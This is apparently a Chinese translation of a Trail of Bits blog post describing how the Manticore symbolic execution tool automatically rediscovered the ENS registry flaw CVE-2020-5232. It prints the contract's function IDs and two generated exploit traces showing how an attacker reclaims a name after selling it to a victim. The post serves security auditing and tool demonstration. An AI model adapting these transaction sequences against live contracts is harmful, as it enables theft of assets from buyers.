Manticore 发现 ENS 漏洞:智能合约安全审计实战

本文详细介绍了如何使用符号执行工具 Manticore 发现以太坊域名服务(ENS)合约中的关键漏洞(CVE-2020-5232),包括漏洞利用步骤、Manticore 的自动漏洞挖掘过程以及生成的完整攻击路径分析。

Manticore 发现 ENS 漏洞 - The Trail of Bits Blog

作者:Dan Guido
发布日期:2020年3月3日
标签:区块链, 漏洞利用, Manticore, 符号执行

以太坊域名服务(ENS)合约最近遭受了一个关键漏洞,导致发布了安全公告并迁移至新合约(CVE-2020-5232)。ENS 允许用户将在线资源与人类可读的名称关联。如您所料,它还允许转让和出售域名。

关于该漏洞的具体细节非常稀缺。我们听说了即将发布的修复程序,并想知道:Manticore 能否发现这个漏洞?

简而言之,如果某人以特定方式转让 ENS 名称,他们将能够随后从新所有者那里收回该名称。如果以正常方式转让名称,则此操作不会成功。换句话说,要利用此漏洞,转让方必须从一开始就故意设置自己以收回名称。

我们决定深入研究,并在原始合约上尝试 Manticore 以发现该漏洞。

  1. 访问 etherscan.io 并挖掘合约代码。
  2. 在观察奇怪的 Solidity 方言时挠头。
  3. 意识到它根本不是 Solidity。它是用 LLL 编写的。

幸运的是,Manticore 不依赖任何高级语言,可以在 EVM 级别检查代码。因此,我们稍微回溯了一下,找到了创建 ENS 合约的交易。经过一些巧妙的 etherscan.io 魔法使用,我们找到了交易并提取了初始化字节码:

从公告中,我们推断该漏洞可以通过四笔交易利用:

  1. 攻击者购买名称或 ENS 节点
  2. 攻击者进行一些未知的利用准备
  3. 攻击者将名称/节点/子节点出售给受害者
  4. 攻击者征用名称/节点并重新获得对该节点的所有权

未知部分发生在步骤 2 和 4 中。如果我们适当设置场景,那么 Manticore 应该自行发现这些步骤所需的精确操作。

我们通过检查合约代码审查了导出的函数:

1
2
3
4
5
6
7
8
;; 预计算的函数 ID。
  (def 'get-node-owner 0x02571be3) ; owner(bytes32)
  (def 'get-node-resolver 0x0178b8bf) ; resolver(bytes32)
  (def 'get-node-ttl 0x16a25cbd) ; ttl(bytes32)
  (def 'set-node-owner 0x5b0fc9c3) ; setOwner(bytes32,address)
  (def 'set-subnode-owner 0x06ab5923) ; setSubnodeOwner(bytes32,bytes32,address)
  (def 'set-node-resolver 0x1896f70a) ; setResolver(bytes32,address)
  (def 'set-node-ttl 0x14ab9038) ; setTTL(bytes32,uint64)

这些信息足以在 Manticore 脚本中设置漏洞的先决条件,并让其符号执行自动为我们生成漏洞利用:

在短短几分钟内,Manticore 找到了两种征回子节点的方法,从而利用此漏洞。

如果您检查生成的漏洞利用,您可以看到攻击者在她将诱饵节点出售给受害者之前需要发送 setTTL 或 setResolver 交易。以下是两个完整的漏洞利用轨迹:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[+] 模拟以太坊世界中的账户:
     合约地址:3c90ec8304b1da72f2e336d19336e9046d71e981
     所有者地址:d77e14a2801273ab0a1da75f43585d3e32f0bd1d
     攻击者地址:911c639393f0ca8eed3a1dbebf740053b7fb8ce8
     受害者地址:a21337d4001af93c16ee19b8ebb210b714ed92bb
[+] ENS 根所有者将 'tob' 子节点给予攻击者
[+] 让攻击者准备攻击。Manticore AEG。
[+] 攻击者将节点“出售”给受害者(并转让)
[+] 现在让攻击者以某种方式完成漏洞利用。Manticore AEG。
[+] 在所有正确的最终状态中检查子节点所有者是否为受害者。

[*] 发现漏洞利用!(子节点的所有者再次是攻击者)
     setSubnodeOwner(0x0, 0x2bcc18f608e191ae31db40a291c23d2c4b0c6a9998174955eaa14044d6677c8b, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     setTTL(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     setOwner(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc, 0xa21337d4001af93c16ee19b8ebb210b714ed92bb)
     setResolver(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b21c, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     owner(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc)

[*] 发现漏洞利用!(子节点的所有者再次是攻击者)
     setSubnodeOwner(0x0, 0x2bcc18f608e191ae31db40a291c23d2c4b0c6a9998174955eaa14044d6677c8b, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     setResolver(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     setOwner(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc, 0xa21337d4001af93c16ee19b8ebb210b714ed92bb)
     setTTL(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1dc, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     owner(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc)

新的 ENS 实现的 API 已显著更改,这些漏洞利用不再适用。此新代码已由其他方审查,但合约所有者应始终在开发过程中构建重要安全属性的测试。读者可以练习编写 Manticore 脚本来验证新合约是否免受类似问题的影响。

成功!

Manticore 帮助您推理代码、测试安全属性并生成漏洞利用,而无需深入了解合约的内部工作原理。我个人觉得这个 ENS 示例很有趣,因为合约不是用 Solidity 编写的,它突出了 Manticore 处理低级 EVM 的能力。

查看我们的“构建安全合约”以了解更多关于使用 Manticore 的信息。它包括符号执行教程、使用 Manticore 的说明以及最大化其漏洞发现能力的技术。我们还提供帮助将我们的工具集成到您的开发过程中:联系我们或加入 Empire Hacking Slack。

截至 3 月 3 日,ENS 完成了合约迁移并发布了此事件的事后分析。

如果您喜欢这篇文章,请分享: Twitter、LinkedIn、GitHub、Mastodon、Hacker News

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计